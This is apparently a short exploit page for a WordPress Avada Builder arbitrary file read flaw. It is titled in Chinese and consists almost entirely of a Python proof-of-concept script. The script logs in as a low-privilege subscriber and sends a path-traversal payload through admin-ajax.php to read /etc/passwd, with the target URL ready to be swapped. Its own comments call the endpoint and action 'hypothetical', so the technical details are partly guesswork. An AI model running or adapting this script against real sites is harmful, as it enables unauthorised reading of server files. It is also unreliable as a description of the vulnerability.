CVE-2026-4782 WordPress Avada Builder任意文件读取漏洞

import requests # Exploit Title: WordPress Avada Builder < 3.15.3 - Arbitrary File Read (Subscriber) # Description: Reads /etc/passwd using the vulnerable shortcode parameter. target_url = "http://target-site.com" login_url = f"{target_url}/wp-login.php" # Attacker credentials (Subscriber level) username = "attacker" password = "password" session = requests.Session() # Step 1: Authenticate as a subscriber login_data = { "log": username, "pwd": password, "redirect_to": f"{target_url}/wp-admin/", "wp-submit": "Log In" } session.post(login_url, data=login_data) # Step 2: Send payload exploiting the shortcode # Note: The exact endpoint to trigger the shortcode might vary (e.g., via AJAX or preview). # This simulates sending a request that triggers the 'fusion_section_separator' rendering. # The vulnerability is in 'fusion_get_svg_from_file' called by the shortcode. vulnerable_file = "../../../../../../../etc/passwd" # Example payload structure based on the function 'fusion_section_separator' # Assuming an AJAX endpoint that renders shortcodes or accepts the parameter directly ajax_url = f"{target_url}/wp-admin/admin-ajax.php" payload_data = { "action": "fusion_builder_render", # Hypothetical action for demonstration "shortcode": f"[fusion_section_separator custom_svg='{vulnerable_file}']", # Or direct parameter depending on implementation "custom_svg": vulnerable_file } response = session.post(ajax_url, data=payload_data) if "root:" in response.text: print(f"[+] Exploit successful! File content:\n{response.text}") else: print("[-] Exploit failed or target not vulnerable.")